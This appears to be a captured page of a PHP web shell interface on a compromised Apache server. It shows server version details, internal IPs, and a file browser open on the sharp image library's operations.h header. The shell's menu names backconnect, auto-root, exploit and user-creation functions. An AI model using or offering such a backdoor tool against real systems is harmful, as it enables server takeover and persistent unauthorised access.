Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
sharp /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
binding.gyp
9.62
KB
-rw-rw-r--
common.cc
36.83
KB
-rw-rw-r--
common.h
10.41
KB
-rw-rw-r--
metadata.cc
10.75
KB
-rw-rw-r--
metadata.h
1.57
KB
-rw-rw-r--
operations.cc
15.39
KB
-rw-rw-r--
operations.h
3.3
KB
-rw-rw-r--
pipeline.cc
79.05
KB
-rw-rw-r--
pipeline.h
9.18
KB
-rw-rw-r--
sharp.cc
1.43
KB
-rw-rw-r--
stats.cc
6.5
KB
-rw-rw-r--
stats.h
1.18
KB
-rw-rw-r--
utilities.cc
8.71
KB
-rw-rw-r--
utilities.h
677
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : operations.h
// Copyright 2013 Lovell Fuller and others. // SPDX-License-Identifier: Apache-2.0 #ifndef SRC_OPERATIONS_H_ #define SRC_OPERATIONS_H_ #include <algorithm> #include <functional> #include <memory> #include <tuple> #include <vips/vips8> using vips::VImage; namespace sharp { /* * Tint an image using the provided RGB. */ VImage Tint(VImage image, std::vector<double> const tint); /* * Stretch luminance to cover full dynamic range. */ VImage Normalise(VImage image, int const lower, int const upper); /* * Contrast limiting adapative histogram equalization (CLAHE) */ VImage Clahe(VImage image, int const width, int const height, int const maxSlope); /* * Gamma encoding/decoding */ VImage Gamma(VImage image, double const exponent); /* * Flatten image to remove alpha channel */ VImage Flatten(VImage image, std::vector<double> flattenBackground); /* * Produce the "negative" of the image. */ VImage Negate(VImage image, bool const negateAlpha); /* * Gaussian blur. Use sigma of -1.0 for fast blur. */ VImage Blur(VImage image, double const sigma); /* * Convolution with a kernel. */ VImage Convolve(VImage image, int const width, int const height, double const scale, double const offset, std::unique_ptr<double[]> const &kernel_v); /* * Sharpen flat and jagged areas. Use sigma of -1.0 for fast sharpen. */ VImage Sharpen(VImage image, double const sigma, double const m1, double const m2, double const x1, double const y2, double const y3); /* Threshold an image */ VImage Threshold(VImage image, double const threshold, bool const thresholdColor); /* Perform boolean/bitwise operation on image color channels - results in one channel image */ VImage Bandbool(VImage image, VipsOperationBoolean const boolean); /* Perform bitwise boolean operation between images */ VImage Boolean(VImage image, VImage imageR, VipsOperationBoolean const boolean); /* Trim an image */ VImage Trim(VImage image, std::vector<double> background, double threshold, bool const lineArt); /* * Linear adjustment (a * in + b) */ VImage Linear(VImage image, std::vector<double> const a, std::vector<double> const b); /* * Unflatten */ VImage Unflatten(VImage image); /* * Recomb with a Matrix of the given bands/channel size. * Eg. RGB will be a 3x3 matrix. */ VImage Recomb(VImage image, std::unique_ptr<double[]> const &matrix); /* * Modulate brightness, saturation, hue and lightness */ VImage Modulate(VImage image, double const brightness, double const saturation, int const hue, double const lightness); /* * Ensure the image is in a given colourspace */ VImage EnsureColourspace(VImage image, VipsInterpretation colourspace); /* * Split and crop each frame, reassemble, and update pageHeight. */ VImage CropMultiPage(VImage image, int left, int top, int width, int height, int nPages, int *pageHeight); /* * Split into frames, embed each frame, reassemble, and update pageHeight. */ VImage EmbedMultiPage(VImage image, int left, int top, int width, int height, VipsExtend extendWith, std::vector<double> background, int nPages, int *pageHeight); } // namespace sharp #endif // SRC_OPERATIONS_H_
Close